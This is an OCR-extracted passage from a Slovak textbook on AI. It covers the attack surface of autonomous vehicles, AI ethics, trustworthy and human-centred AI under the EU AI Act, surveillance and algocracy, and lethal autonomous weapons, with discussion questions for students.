do velkej miery ovplyviiovat aj bezpecnost systémov Al.

Kratky nacrt problematiky softvérového i technologického vybavenia a nutnej
infrastruktury pre nasadenie systémov Al vo viacerych oblastiach realneho sveta
poukazuje na velkti komplexnost tychto systémov. A komplexnost je problém — je
rizikovym faktorom bezpecnosti a stability fungovania systémov. V kontexte
komplexnosti ide aj o rapidny narast tzv. tito¢nej plochy (attack surface)™* na tieto
systémy a o rozsirenie moznosti kybernetickych ttokov o dalsie typy vzhladom na
komplexnost a mnozstvo pouzitych technologii i potrebu sofistikovanej
infrastruktary.>

KedZe komplexnosti sa neda vyhnut (v zasade ide o analdgiu s biologickymi
systémami), rieSenim je vyvoj technik zabezpecujtcich robustnost, ktort mézeme

»1 Napr. v automobilovom priemysle sa pouzivaji uzavreté vnutrovozidlové zbernice

CAN (controller area network), pripadne modernejsie FlexRay, LIN, MOST, ktoré st
vsak pre velké objemy dat systémov Al v autonomnych vozidlach nedostatocné. V nich
sa zavadzaju automotive ethernet, t.j. nové, vysoko rychlostné zbernice typu ethernet
(dobre zname a siroko vyuzivané v pocitacovych sietach).

»2 Jde o tzv. CCAM - coperative connected automated mobility, t.j. vzdjomné prepojenie
systémov tcastniacich sa dopravnej prevadzky a proaktivna vymena informacii medzi
nimi, ¢o je kI'i¢ové pre nasadenie stupiiov 4 a 5 autondmie vozidiel.

Ide o tzv. V2X komunikdciu, resp. prepojenie, pricom V2X=V2N + V2V + V2I + V2P
(komunikdcia vehicle to vehicle, to network, to infrastructure, to pedestrian).

% Bezdrotové Cast komunikacie vyZzaduje vysoké rychlosti a nizke latencie, ¢o spifiaji

technologie VANET (Vehicular Ad Hoc Networks — Wifi medzi vozidlami na 5.9 GHz)

a 5G siete. PInti podporu by mali zabezpecit budtce 6G siete nielen s vyssimi

rychlostami a nizSou latenciou nez 5G, no predovsetkym s implementovanou sadou

funkcionalit vyuZzitelnych aj pre autonomne vozidla (tzv. Al enabled networks).

»4 Attack surface. [on-line]. [cit. 30. augusta 2023].
Dostupné na internete: <https://en.wikipedia.org/wiki/Attack_surface>

%5 Napriklad radiové rusenie alebo zahltenie (DoS/DDoS tutoky), vypadok satelitnej
navigdacie a internetového pripojenia, Specifické titoky na internet veci (IoT) a pod.
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zjednodusene vyjadrit ako schopnost bezpecne a spolahlivo pracovat, resp.
fungovat za akychkolvek (nami pozadovanych) podmienok.?*

(\D} Uved'te niekol’ko ndpadov, ako by ste realizovali zvySenie spolahlivosti senzorickych
vstupov autonémneho vozidla.

Umela inteligencia a etika®’

V pohlade na niekolko desatro¢i rozvoja oblasti kybernetickej bezpecnosti si
uvedomujeme, ze prakticky este nikdy nebolo badat tolké obavy z nasadenia novej
technoldgie a tak seridzny zaujem®® o etické otazky, ako v pripade systémov umelej
inteligencie. KIi¢ové slovo ¢i znacka (hashtag) #AlEthics v komunite odbornikov
neoznacuje okrajovu zalezitost, ktora je mimo zorného uhla pohladu tych, ¢o umelej
inteligencii skuto¢ne rozumejti, ale stava sa sucastou hlavného pradu vyvoja,
implementacie a pouZzivania systémov Al v ramci realneho sveta.

S futurologickymi obavami takmer na drovni sci-fi sa spolocnost stretava uz od
pionierskych ¢ias formovania konceptu umelej inteligencie a prvych krokov na poli
vyvoja tychto systémov. V naSom pripade vSak ide o seridzny zaujem celej
spolocnosti, ktord je konfrontovana s technologiami s potencialom hlboko zasahovat
a ovplyvriovat jednotlivcov i celé spolocenské celky.

Tento seridzny zaujem sa neobmedzuje len na oblast umelej inteligencie, ale ma
ovela Sirsi zaber, ktory koreluje a ma i kauzalnu stvislost uz s tretfou priemyselnou
revoltciou, digitdlnym vekom a zmenou paradigmy nastupujicej informacnej
spolo¢nosti. V ramci informacnej spolo¢nosti sa na zaklade zmien v technologiach
a vzhladom na prevratny vedecky i technologicky pokrok meni medziludska
komunikacia vo svojej podstate, menia sa vztahy, meni sa spolo¢nost a principy jej
fungovania.

V intenciach narastajiiceho zaujmu celej spoloc¢nosti o problémy, ktoré ju bytostne
ovplyviiujy, je aj osobitné akcentovanie etického rozmeru vyvoja, tvorby, nasadenia,
poskytovania a vyuzivania celého spektra technoldgii umelej inteligencie.

Interdisciplinarny rdmec ako zaklad

Skutocné rieSenie etickych problémov a vyziev technoldgii umelej inteligencie nie je
mozné uspesne realizovat bez interdisciplinarneho ramca, v ramci ktorého sme
dostatocne oboznameni aj s technologickou strankou tychto systémov
a psychologickymi, sociologickymi i pravnymi aspektmi ich nasadenia.

#6 Napr. redundancia, mnohotiroviiové bezpecnostné mechanizmy a pod.

%7 SANTAVY, Umel4 inteligencia — dobry sluha a zly pan?, s. 152-153, 197-276.

»8 Uz skor boli komunikované témy a vybojované zapasy, bez ktorych by sme si moderny
svet informacnych technoldgii nevedeli predstavit, napr. zdpas open-source vs. closed
software, legitimita slobodnych licencii typu Creative Common, pravo na sukromie
a pod. Vzdy vsak iSlo z pohl'adu spolo¢nosti len o okrajovu zéleZitost.
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Dostato¢né oboznamenie sa s technologickou strankou nam predovsetkym
umoznuje pochopit podstatu a rozsah technologickych limitov a rizik algoritmov
Al, anasledne si v spolupraci s dalsimi odbormi adekvatnejsie predstavit ich dosah
na jednotlivé oblasti redlneho nasadenia, dosledky na Zivot ¢loveka a fungovanie
spolocnosti.

Identifikacia oblasti, v ktorych sa seriézne nasadenie syst¢émov umelej inteligencie
nezaobide bez uspokojivého navrhu riesenia etickych problémov, tiez vyzaduje
dokladnti analyzu psychologickych, sociologickych i pravnych aspektov ich
nasadenia.

Rozsah diskutovanych tém moze byt skutocne velky — napr. socidlna spravodlivost,
Iudské prava, spravodliva vojna, bioetické otazky, transhumanizmus, atd.

V horizonte vyvoja vSeobecnej umelej inteligencie mézu mat nezastupitelnt tlohu
viaceré netechnické vedecké discipliny, schopné prispiet k rieSeniu modelov
spravania, tedrie mysle, simulacie emdcii i vedomia a pod.

K dolezitym rozmerom interdisciplinarnej komunikacie patri aj spolupraca
s inStitdciami na medzindrodnej i Statnej tirovni, bez ktorej nie je mozné vytvarat
redlne etické a pradvne regulacné ramce a v neposlednom rade kooperacia
s privatnym sektorom, ktorého vyvojové kapacity a financné i 'udské zdroje st
motorom vyvoja a nasadenia systémov Al takmer do vSetkych oblasti redlneho
Zivota.

(\D} Manipuldcia, zdvislost, vytvdranie socidlnych bublin, relativizdcia pravdy,
psychologicky sok spojeny s multiplikovanym dopaminovym efektom (kvantitativne
i virtudlnym rozsahom), relativizdcia pravdy a erdzia kritického myslenia — to sii len
niektoré z nezamyslanych dosledkov fungovania algoritmov Al v ramci socidlnych sieti,
ktoré sii primdrne zamerané na monetizdciu interakcie s pouZivatel'om.>

Skuste diskutovat, odbornikov z ktoryjch disciplin by bolo treba prizvat k ndvrhu tijchto
algoritmov, aby boli eliminované uvedené nezelané dosledky.

(\?} Zvidzte, Ci je redlne mozné ,dobré” algoritmy zaviest dobrovolne do praxe alebo je
k tomu potrebnd zikonnd reguldcia v kombindcii s celospolocenskym tlakom
a angazovanostou?

Umela inteligencia zamerana na dobro cloveka

Zakladnym principom pre akykolvek systém umelej inteligencie je zameranie na
dobro cloveka, teda znamy a vSeobecne prijimany princip human-centered and
beneficial artificial intelligence. Navrhujeme vSak a zdoraziiujeme, Ze by princip
umelej inteligencie zameranej na ¢loveka mal:

e byt chapany v duchu klasickej klasickej filozofickej antropologie (predovsetkym
biologickej a kulttrnej);

259 SANTAVY, Umeld inteligencia — dobry sluha a zly pan?, s. 99-112.
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e zahrnat kazdu ludsku bytost a nikoho nediskriminovat;

e mat na zreteli dobro [udstva a spolocnosti, chraniac pritom a respektujiac dobro
kazdej Tudskej bytosti;

e sa vyznacovat starostlivostou o nas , spolocny a zdielany domov”, teda o cely
svet.

Chapeme, Ze human-centered pristup zahfma aj mnohé technologické, praktické
a pravne nalezitosti vyvoja a nasadenia systémov umelej inteligencie, no bez vyssie
uvedeného navrhu aplikdcia tohto principu moéze podliehat relativizmu a erézii
hodnét ¢i postupnému vyprazdneniu jeho podstatnych aspektov.

Klasicka filozoficka antropoldgia a humanizmus ndm davaju dolezity moralny
ramec, ktory nds varuje pred pokusenim vylepsovat ¢loveka umelou inteligenciou.
Toto by mohlo viest k relativizacii hodnoty kazdej udskej bytosti, podporovat
nespravne chapanu eugeniku, transhumanizmus a pod.

(\D} Diskutujte, preco princip umelej inteligencie zameranej na dobro CEloveka musi
obsahovat’ aj individudlny a aj kolektivny rozmer.

(\D} Splnime tento princip, ak vyvinieme systém Al zamerany na dobro len konkrétneho
jednotlivca ¢i skupiny?

(\D} Je tento princip naplneny, ak pri vyvoji sledujeme len niektoré kolektivne zdaujmy
spolocnosti?

Doveryhodna umela inteligencia

Zameranie umelej inteligencie na cloveka je zdkladnym predpokladom pre
akykolvek systém umelej inteligencie, s ktorym modzeme bez zbytocnych obav
spolupracovat a primerane mu déverovat. Principialny postoj orientacie na ¢loveka
sa tak stava ekvivalentnym problematike doveryhodnosti umelej inteligencie,
pricom je potrebné stanovit podmienky, bez splnenia ktorych by nasadenie
systémov Al do realneho sveta, v ktorom interaguji s ¢clovekom a vplyvaju na
spoloc¢nost, nemalo byt umoznené.

Déveryhodné systémy umelej inteligencie musia byt:

e legilne (lawful) — vyhovovat pozadovanym normam i reguldciam a spiiiat
vsetky platné zakony a predpisy;

o etické (ethical) — reSpektovat etické zasady a hodnoty;

e robustné (robust) — dosahovat potrebné Standardy bezpecnosti a robustnosti
nielen z technologického hladiska, ale zohladnovat aj socidlne prostredie
a dopady na spolo¢nost.

Pri kazdej z uvedenych oblasti by sme mali definovat hranicu, od ktorej m6zeme
technoldgie umelej inteligencie povazovat za doveryhodné.
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V oblasti noriem, zdkonov a regulacii mozeme v zasade stihlasit s aktualnym
obsahom pripravovanej reguldcie Eurdpskej tnie v oblasti umelej inteligencie,
Nariadenim o umelej inteligencii, a povazovat ho za primerant legislativnu hranicu pre
sucasné doveryhodné nasadenie systémov Al Tejto reguldcii sa budeme venovat
v nasledujucej kapitole.

Ak odmyslime vsetky spolocenské problémy, ideologické a hodnotové rozdiely
i legislativne zdpasy podstupované na poli umelej inteligencie,
najproblematickejsou oblastou pre dosiahnutie doveryhodnych systémov Al sa
moze javit robustnost, ktortt mozZeme zjednodusene vyjadrit ako schopnost
bezpecne a spolahlivo pracovat, resp. fungovat za akychkol'vek podmienok.

Dokonale robustny systém neexistuje a v kontexte sucasnych modernych
technoldgii si ani nevieme predstavit jeho realizaciu v blizkej budticnosti. Avsak na
prevadzke jadrovych zariadeni, letoch do vesmiru, fungovani viacerych oblasti
kritickej infrastruktiry Statu, zabezpeceni zivotnych funkcii Iudi odkazanych na
pristroje, atd', vidime, Ze vieme realizovat robustné systémy s primeranou mierou
rizika.

Minimalnu hranicu pre podmienku robustnosti déveryhodného systému by sme
mohli stanovit takto:

e Robustné systémy musia spifiat vysoké technologické standardy a normy, ktoré
su pre jednotlivé oblasti nasadenia zavazné.

e Robustnost je chapand ako neustale prebiehajici proces, v ramci ktorého sa
schopnosti bezpecne a spolahlivo pracovat vylepsuji, pricom sa existujtice
chyby priebezne odhalujui a opravujt.

e Vyvoj a prevadzka robustnych systémov prebieha v ramci noriem riadenia
kvality, manaZzmentu rizik a nahlasovania, seridznej analyzy a rieSenia
incidentov.

Treba zdoraznif, Ze obsahom uvedenych troch bodov je cely stubor opatreni
a nariadeni, pri¢om véadSina z nich je uz implementovana v eurépskom Nariadeni
o umelej inteligencii v casti tzv. vyznamnych povinnosti poskytovatelov. Ide
o riadenie rizik, technicki dokumentdciu, interné zaznamy (logovanie),
technologickti transparentnost, moznost Iudského dohladu a kvalifikovaného
zasahu, prevadzkovu presnost, spolahlivost a kyberneticki bezpecnost, systém
riadenia kvality, viaceré aspekty certifikdcie (posudenie zhody, registracia, post-
marketing monitoring) a oznamovanie incidentov.

Nielen podla pripravovaného nariadenia EU, ale z podstaty veci sa k tymto bodom
radi aj tzv. sprava dat, pozadujuca, aby testovacie a tréningové datasety boli
,vysokej kvality”, aby tak systém Al, ktory ich vyuziva, nebol diskriminacny
a nevytvaral nepredvidané, resp. nespravne vysledky. Sprava dat je vsSak
viacrozmerny problém, ktory zasahuje do oblasti legalnosti, etiky i robustnosti
doveryhodnych systémov Al
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Bez zodpovedného stanovenia a splnenia minimalnych poziadaviek v oblasti
legalnosti, etiky a robustnosti systémov umelej inteligencie nie je mozné hovorit
o doéveryhodnej umelej inteligencii.

(\D} Diskutujte, aké rizikd a dosledky by v redlnom svete mohlo mat nasadenie systémov Al,
ktoré by neboli etické alebo by porusovali zikony, pripadne by neboli robustné.

Niektoré etické poziadavky na doveryhodné systémy
umelej inteligencie

Na zaklade dlhodobého dusilia*® v ramci akademickej sféry, spolocenskej
angazovanosti odbornikov, existujticich i pripravovanych regulacii uvadzame
viaceré konkrétne etické poziadavky na doveryhodné systémy umelej inteligencie
zameranej na cloveka:

e pri vyvoji, vyrobe, nasadeni, poskytovani a pouzivani systémov umelej
inteligencie musi byt zaruc¢ena ochrana slobody, dostojnosti a bezpecia kazdej
Iudskej osoby i celej spolo¢nosti;

e technologie umelej inteligencie musia byt plne pod I'udskou kontrolou
a ovladatelné clovekom;

e algoritmy i vysledky cinnosti systémov Al musia byt ¢lovekom pochopitel'né
a revidovatelné;

e akékolvek nasadenie technologii Al musi byt prospesné pre Ccloveka
a spoloc¢nost;

20 Z mnohych iniciativ m6zeme uviest napr.
Ethics guidelines for trustworthy Al [on-line]. [cit. 4. septembra 2023].
Dostupné na internete: <https://digital-strategy.ec.europa.eu/en/library/ethics-
guidelines-trustworthy-ai>
The global landscape of Al ethics guidelines. [on-line]. [cit. 4. septembra 2023].
Dostupné na internete: <https://doi.org/10.1038/s42256-019-0088-2>
IEEE Global Initiative on Ethics of Autonomous and Intelligent Systems. [on-line]. [cit. 4.
septembra 2023].
Dostupné na internete: <https://standards.ieee.org/industry-connections/ec/
autonomous-systems/>
Rome Call for AI Ethics (document). [on-line]. [cit. 4. septembra 2023]. Dostupné na
internete: <https://www.romecall.org/wp-content/uploads/2022/03/RomeCall_Paper_
web.pdf>
Ak porovname pristupy jednotlivych inciativ, pozorujeme rozmanitost uchopenia
zdkladnych etickych pravidiel pre technoldgie umelej inteligencie. I ked' sa v mnohom
tematicky prelinaju, badat urcité rozdiely prameniace z filozofickych, sociologickych,
technologickych, hodnotovych a mozno i ideologickych predpokladov, na ktorych
stavajt.
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o systémy umelej inteligencie nesmu byt nastrojom digitalneho rozdelenia;**!
o technologie umelej inteligencie nesm1 skodit' ndSmu spolocnému domu a mali
by prispievat k spolo¢enskému a environmentalnemu blahobytu.

Realizacia (vyvoj, vyroba, nasadenie, poskytovanie, vyuzivanie,...) systémov umelej
inteligencie musi splnat:

e principidlny zaklad doveryhodného systému umelej inteligencie zameraného
na cloveka.

e aplikaciu zakladnych etickych zasad vo vSetkych rozmeroch, ktoré dany systém
Al moZze obnasat.

e splnenie legislativnych poziadaviek.

e robustnu realizaciu a vyuzivanie.

Aplikacia etickych zasad a legislativnych poziadaviek v realnom svete
koexistujicom s technoldgiami umelej inteligencie by vSak nemala zostat len
v rovine deklaracie (doteraz uvedenych) principov — skoér sa musi uberat cestou
konkrétnych a jasnych odportcani, medzi ktoré patria i pripravované reguldcie.
V ramci Eurdpskej tinie je pre nas smerodajnou regulaciou pripravované Nariadenie
o umelej inteligencii.?

(\D} Porozmyslajte, aké by mohli byt vase vlastné etické poZiadavky na systémy umelej
inteligencie, s ktorymi by ste mali pracovat. Vedeli by ste aj zdovodnit preco?
Oblasti implementacie etickych principov a regulacii

V kontexte etickych vyziev, prameniacich z limitov a rizik sticasnych systémov
umelej inteligencie, ktoré sme priebezne uvadzali v predchadzajtcich
podkapitolach, nachadzame tri oblasti nutnej implementacie etickych noriem,
eticko-pravnych reguldcii a moralnych zasad:

e etické normy, zakonné reguldcie a moralne zasady tvorcov systémov Al;

»1 Digitalne rozdelenie (digital divide) vyjadruje velké rozdiely v pristupe a moznostiach
vyuzivania informaénych a komunikacénych technoldgii (IKT) medzi roznymi
skupinami Iudi alebo regiénmi.Digitalne rozdelenie v ramci informacnej nerovnosti
rozliSujeme na zaklade rozdielov v pristupe k informaciam, k prostriedkom IKT
(internet, média, komunikacia) a k sluzbam.Dosledkom digitalneho rozdelenia st
skupiny informacnej chudoby, vychadzajtice z kulttirnej a socialnej chudoby
(negramotnost), z ekonomického zaostavania (rozvojové krajiny), z geografickej izolacie
(napr. vidiek), z politickych problémov, z fyzickych hendikepov a v niektorych
kulttrach i na zaklade pohlavia.

22 Nariadenie Eurépskeho parlamentu a Rady, ktorym sa stanovuji harmonizované
pravidla v oblasti umelej inteligencie (Akt o umelej inteligencii) a menia niektoré
legislativne akty unie. [on-line]. [cit. 4. septembra 2023].

Dostupné na internete: <https://eur-lex.europa.eu/legal-content/SK/TXT/?
uri=CELEX:52021PC0206>
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o etické normy, zakonné regulacie a moralne zasady poskytovatelov
a pouzivatel'ov tychto systémov;

e implementované eticko-pravne poziadavky a obmedzenia priamo v systémoch
AL

Nas eticky diskurz sa stale zameriava na technoldgie slabej umelej inteligencie
(AND)*3, pri ktorych z podstaty veci musime ratat so zaangazovanim ludského
faktora vo vsetkych oblastiach tvorby, pouZzivania i realizacie prostriedkov umelej
inteligencie. Preto aplikovanie etickych principov a regulacii v ANI — akokolvek
naroénym az neuskutoc¢nitelnym by sa to v praxi mohlo ukazat — ma vdaka
pritomnosti [udského faktora jasné zasady, vyhranené oblasti a viac-menej presne
definované kritéria.

Z uvedenych ddvodov je potrebné investovat nemalé usilie do vzdelavania, osvety
i prevencie a formovat etické postoje vyvojarov, poskytovatelov i pouzivatelov
tychto technoldgii.”**

Ruka v ruke s forméciou a vzdelavanim odbornikov v oblasti umelej inteligencie by
sa mala rozvijat aj edukacia a osveta spolocnosti, bez ktorej si tazko predstavit rast
spolocenskej citlivosti a zodpovednosti v oblasti celoplosnej adaptacie a vyuzivania
systémov Al

Osobitnou oblastou je zakladny vyskum umelej inteligencie, ktory uz z principu
nemdze byt mnohymi regulaciami viazany. I v tejto oblasti by vSak mali existovat
etické garancie, ktorych cielom je pri akomkolvek type vyskumu reSpektovat
princip zamerania na ¢loveka a s tym suvisiacu doveryhodnost Al. Teda Human-
centered Al a Trustworthy Al povazujeme za nutné principy akéhokol'vek
vyskumu, vyvoja, realizacie alebo nasadenia systémov umelej inteligencie.

V odbornej komunite sa diskutuje prakticka a v niektorych scenaroch az principidlna
nemoznost splnenia eticko-pravnych podmienok v technologickej rovine v pripade,
Ze tieto podmienky chceme splnit prostrednictvom neskorsieho doplnenia
technickych tprav alebo procesnych postupov do uz existujticich systémov Al. Ak
v pripade kybernetickej bezpecnosti (NIS*®) alebo ochrany osobnych tdajov
(GDPR) patria principy security by design a privacy by design k tzv. osvedCenym
a odportacanym postupom (best practices), v pripade systémov Al je ethics by design

%3 Stale sa nachadzame v oblasti tizko Specializovanych systémov umelej inteligencie
(narrow AlI), ktoré st optimalizované na zvladnutie konkrétnej tilohy, resp. mnoziny
aloh. Ide sticasne o systémy slabej umelej inteligencie (weak Al), ktoré vykazuju
inteligentné spravanie na zaklade modelov a aplikovanych metdd i tréningovych dat.
St to teda systémy zamerané na rieSenie konkrétnych tiloh a st zavislé na lTudskom
vstupe a konfiguracii.

%4 Napr. v predchadzajticej kapitole spominana iniciativa IEEE Global Initiative on Ethics

of Autonomous and Intelligent Systems zahrma i osobitné zameranie na etiku vyvoja

a vyvojarov systémov Al.

25 Network and information security directive
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a regulation by design nutnou podmienkou ich vyvoja, nasadenia a prevadzky.?*
Etické zasady a pravne normy tak musia byt integralnou stcastou prostriedkov
umelej inteligencie uz od ich technologického navrhu — neskorsim doplnenim sa
v plnej miere a v pozadovanom rozsahu v mnohych systémoch Al nebudu dat
spolahlivo aplikovat.

Vzhladom na autonémny a adaptivny rozmer technoldgii umelej inteligencie sa
splnenim principov ethics by design a regulation by design kladie zaklad aj pre tzv.
odolnost tychto systémov voci budticnosti (future-proof systems), tj. schopnost
v buducnosti spolahlivo a bezpecne pracovat aj napriek moznym
nepredvidatelnym okolnostiam.

(\D_} Ako by ste si predstavovali vzdeldvanie v oblasti umelej inteligencie na zdkladnych
a strednych skoldach?

\@_} Poznate projekt AlDetem.CZ (www.aidetem.cz)? Mohol by podla vis byt prinosom
v tomto vzdeldvani?

(\@_} Cheeli by ste vediet viac? MozZete sa zapojit do bezplatného on-line kurzu zdkladov
umelej inteligencie Elements of Al (www.elementsofai.sk).

Specifické odporticania pre algokraciu®” a armadne vyuZitie

Radi by sme spomenuli oblasti, v ktorych vyuzitie algoritmov Al vybocuje
z bezného ramca nasadenia. Ide o aplikdciu systémov Al v oblasti pokrocilého
riadenia Statu, spravodajstva a plosného dohladu, a tiez o nasadenie vo vojenskej
oblasti.?®

Odporucania, ktoré uvadzame v tejto kapitole, by mali byt doplnkom k vSeobecnym
navrhom a zakladnym principom, ktoré sme predstavili v kapitole predchadzajuce;j.

266 Regulation by design v sebe obnasa aj security by design a privacy by design. Spolu
s ethics by design tak tvoria celkovy ramec trustworthy by design.

%7 Skrateny nazov pre vladu podla algoritmov, algoritmicky pravny poriadok,
algoritmické vladnutie a pod. Ide o alternativnu formu vlady, resp. spolocenského
usporiadania, pri ktorom sa na regulaciu, presadzovanie prava a vSeobecne na
akykol'vek aspekt kazdodenného Zivota, ako je napr. doprava alebo registracia
pozemkov, pouzivaju pocitacové algoritmy, najma umeld inteligencia a blockchain.

28 Uvedomujeme si, ze vzhladom na osobitné rizika a vyzvy existuje viacero oblasti so
$pecifickymi etickymi odportcaniami a pravnymi normami, napr. oblast autonémnych
vozidiel s ochranou Iudskych Zivotov, zabraneniu Skoddm a pristideniu zodpovednosti,
bankovy sektor s otdzkou socidlnej spravodlivosti a transparentnosti, spolo¢nost
a medialny svet s rizikami kapitalizmu dohl'adu a manipulovania s ludmi, samostatné
casti algoritmického riadenia so spravodlivostou, transparentnostou a demokratickymi
principmi, pripadne r6znorodé kombindcie uvedenych Specifik, napr. v zdravotnictve
a pod. Vsetky tieto oblasti vsak dostatocne pokryva navrhnuty Zakon o umelej
inteligencii v kombinacii s pripadnymi $pecialnymi sektorovymi regulaciami.
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Oblast plosného dohl'adu, spravodajstva a pokrocilého riadenia statu

Niektoré z technologii algoritmického riadenia a plosného dohladu pokryva
pripravované eurdpske Nariadenie o umelej inteligencii v casti Zakdzané systémy
(€l. 5), no ide len o parcidlne (Ciastkové) rieSenie, ktoré je naviac sprevadzané
moznymi tzv. opravnenymi vynimkami. Ich legislativne usmernenie musi byt preto
pokryté inymi zakonnymi normami.

Vzhladom na Specifikum a dosah nasadenia systémov Al v oblasti pokrocilého
riadenia Statu, spravodajskych sluzieb a plosného dohladu pre Tudské prava,
ochranu demokracie a slobod si myslime, Ze tato oblast by okrem technologického
ramca mala byt principidlne pokryta uz zakladnymi legislativnymi mechanizmami
a verejnym dohladom demokratickej spolo¢nosti.

V celom spektre nasadenia, od spravodajskych sluzieb
az po algoritmické riadenie, treba akcentovat velka
rozvaznost a vyzadovat striktni legalnost i dosledny
dohlad demokraticky zvolenych zastupcov, obmedzit
dopady na socidlnu spravodlivost a zabezpecit
dodrziavanie ludskych prav a hodndét. Ide nielen
o prijaté zakony, ale i nastavené procesy kontroly
a mechanizmy zasahov v pripade podozreni na zlyhanie, ¢i zneuzitie ¢innosti
technoldgii umelej inteligencie.

Oblast exportu produktov a technoldgii umelej inteligencie, ktoré mozu byt zneuzité
v oblasti pokrocilého riadenia Statu, spravodajstva a plosného dohladu, by mala byt
predmetom medzinarodnej regulacie s cieflom zamedzit ich vyvoz do rizikovych
krajin. Sankcie by vsak nemali byt nastrojom (geo)politickych zapasov, ale
skutocného nasadenia na poli etického vyuZzivania systémov AL**

29 Podla studie The Global Expansion of Al Surveillance, je jednou zo znepokojujtcich
skutoc¢nosti fakt, Ze demokratické Staty, z ktorych vacsina sofistikovanych technoldgii
algoritmického riadenia, spravodajstva a dohladu pochadza, neprijimaji primerané
opatrenia na monitorovanie a kontrolu $irenia tychto technol6gii, majacich potencial sa
podielat na celom rade moznych poruseni Iudskych prav a zneuziti autokratickymi
rezimami a diktatdrami.

FELDSTEIN, S. The Global Expansion of Al Surveillance. [on-line]. [cit. 7. septembra
2023].

Dostupné na internete: https://carnegieendowment.org/2019/09/17/global-expansion-of-
ai-surveillance-pub-79847
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Systémy umelej inteligencie vo vojenskej oblasti

Mnohi statni aktéri by chceeli aplikovat latinské si vis pacem, para bellum (ak chces
mier, pripravuj sa na vojnu) i na oblast armadneho nasadenia technoldgii Al
v zbraniovych systémoch a ich potencidlom upevnovat svoje postavenie. Pre dalSich
— pozerajuc k horizontu moZznosti autonémnych zbranovych systémov — by sa ich
zavadzanie do vyzbroje mohlo podobat odstrasujicemu potencidlu jadrovych
zbrani. Ak vSak pozerame za horizont sticasnych moznosti vojenskych systémov Al,
vidime technoldgie, ktorych rizikovy potencial moze dokonca prevysovat
nebezpecenstvo prameniace z terajSich arzenalov jadrovych zbrani.””°

Principidlny postoj v oblasti smrtiacich autonémnych zbranovych systémov
(LAWs*!) je jasny: technolégiami umelej inteligencie pohanané automatické
smrtiace zbranové systémy, systémy automatického zameriavania a vyberania
cielov, automatické systémy schopné bez zasahu cloveka rozhodnut o smrtiacej
reakcii akéhokolvek druhu (od utoku dronu az po rozputanie jadrového
konfliktu) musia byt zakazané.

Rozoberajuc limity a rizikd sucasnych technoldgii umelej inteligencie, ani pri
najlepsej voli nie sme schopni vytvorit také systémy ANI, ktorym by sme mohli
zverit samostatné rozhodovanie v tak dolezitej oblasti. A pokial ide o AGI, znovu
pripominajiic, ak nemame vyriesené otazky, ako napr. funkény model spravania,
implementaciu komparativnych hodnotovych ramcov a pod., nie sme schopni
o tejto moznosti ani len $pekulativne uvazovat.

Od plne autonémnych zbraiovych systémov bez kontroly ¢loveka sa vSak vratme
k tomu, ¢im sme tato kapitolu zacali — strategickému i praktickému zavadzaniu
takych technoldgii Al do armadnych systémov, ktoré by mali byt pod kontrolou
cloveka.

Okrem vacsiny vseobecnych poziadaviek, ktoré sme uvadzali v predchadzajtcich
podkapitolach a ktoré je mozné vo vojenskom vyuziti aplikovat, mali by v pripade
autondmnych zbranovych systémov kontrolovatelnych clovekom platit nasledovné
zasady:

o Nutnou podmienkou prevadzky I'ubovolného systému Al, ktory moze
predstavovat riziko pre akukolvek I'udsku osobu, je schopnost a moznost
cloveka prebrat kedykolvek kontrolu nad tymto systémom, resp. pravo
a moznost verifikovat a prehodnotit vysledky jeho ¢innosti.

70 Jde predovsetkym o kombinaciu pokrocilych autonémnych technolégii v kombinacii
s ocakavanymi sofistikovanymi systémami Al Tieto systémy by mali atakovat
schopnosti vseobecnej umelej inteligencie, u ktorej sa vplyv I'udského ¢initela zmensuje:
z tlohy dizajnu modelu, pripravu trénovacich dat a manazovania procesu ucenia sa
stane uloha presného stanovenia cielov a garancie spravnych postupov ich
dosahovania.

71 Lethal autonomous weapons.
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e Limity, regulacia a obmedzenia LAWs by mali predstavovat eticky ramec
stanoveny na zaklade moralnych hodnot I'udskej spoloc¢nosti, nie na zaklade
relativistickej tzv. ,naslednej regulacie”.””

Vratme sa k r6znorodosti Statnych aktérov a armadneho zdpolenia, ktoré pomerne
efektivne brani v moznom jednostrannom, resp. dobrovolnom obmedzovani
zavadzania rizikovych zbranovych systémov Al Napriek zniZeniu konkurencnej
schopnosti a malej Sanci na akceptovanie inymi Statmi by jednostranne prijaté
(vyssie uvedené) eticko-pravne reguldcie mali byt pre hodnotovo orientovanu
spolo¢nost povinnostou. Pozyvame k tomuto kroku z viacerych dévodov:

e Ziadny $tat, pokial sa zriekne etickych principov a moralnych zésad, nema
pravo obhajit svoju tcast na vojnovom konflikte a zvitazit.

e Pri nasadeni modernych zbranovych systémov s celoplosnymi tcinkami
a technolégii, zasahujtcich v hybridnych vojnach a vojnach 4. generacie”
prakticky celé populacie Statov, sa koncept spravodlivej vojny stava
neprijatel'ny.

e Len na zdklade konkrétne prijatych zavazkov sa moze celosvetova diskusia
mocnosti, tlak verejnosti, angazovanost jednotlivych casti spolo¢nosti v réznych
regionoch sveta a uUsilie zodpovednych stran pretavit do postupného prijatia
celosvetovych pravidiel i zavdzkov pre oblast vyvoja a nasadenia rizikovych
vojenskych systémov, vybavenych technolégiami umelej inteligencie.

V case pisania tejto kapitoly nas pouzivanie viacerych sofistikovanych tto¢nych
bojovych systémov v prebiehajiicom vojnovom konflikte na Ukrajine stavia pred
dilemu: Budeme technolégie umelej inteligencie vyuzivat v duchu hesla si vis pacem,
para bellum vo falosnej predstave, Ze vdaka nim sa vyhneme vojnovym konfliktom,
priom vSak budeme mat tendenciu ich v potenciondlnych konfliktoch v ¢o
najhojnejSej miere pouzit.

22 Ide o fenomén, ktory smeruje k hodnotovému a moralnemu relativizmu a snazi sa

prehodnotit argumenty o nenahraditelnosti ludského svedomia a moralneho asudku.
Zastancovia ,,naslednej regulacie” predpokladajii dosiahnutie tohto ciela prirodzenym
vyvojom, v ramci ktorého si Tudia buda postupne zvykat na stroje vykonavajtuce
funkcie s dosledkami ohrozujiicimi Zivot az po pripadnt smrt (napriklad riadenie
automobilov alebo vykonavanie chirurgickych operacii a pod.). Spoloc¢nost tak
postupne zac¢ne akceptovat nieco podobné pri zacleniovani technolégii umelej
inteligencie do vyzbroje.

3 Vojny Stvrtej generdacie su charakterizované stieranim hranic medzi vojnou a politikou,

medzi armadou a civilnym obyvatelstvom, decentralizovanym vedenim vojny,
guerilovou taktikou a prvkami terorizmu, dezinforma¢nym posobenim a propagandou,
ttokom na kulttru a psychologickymi metédami na oslabenie protivnika. Vyznamné
uplatnenie v nich nachadzaju prvky kybernetického vedenia vojny.Aktérmi nemusia
byt len Staty, resp. statne zoskupenia. Moze ist nielen o zastupné organizacie niektorych
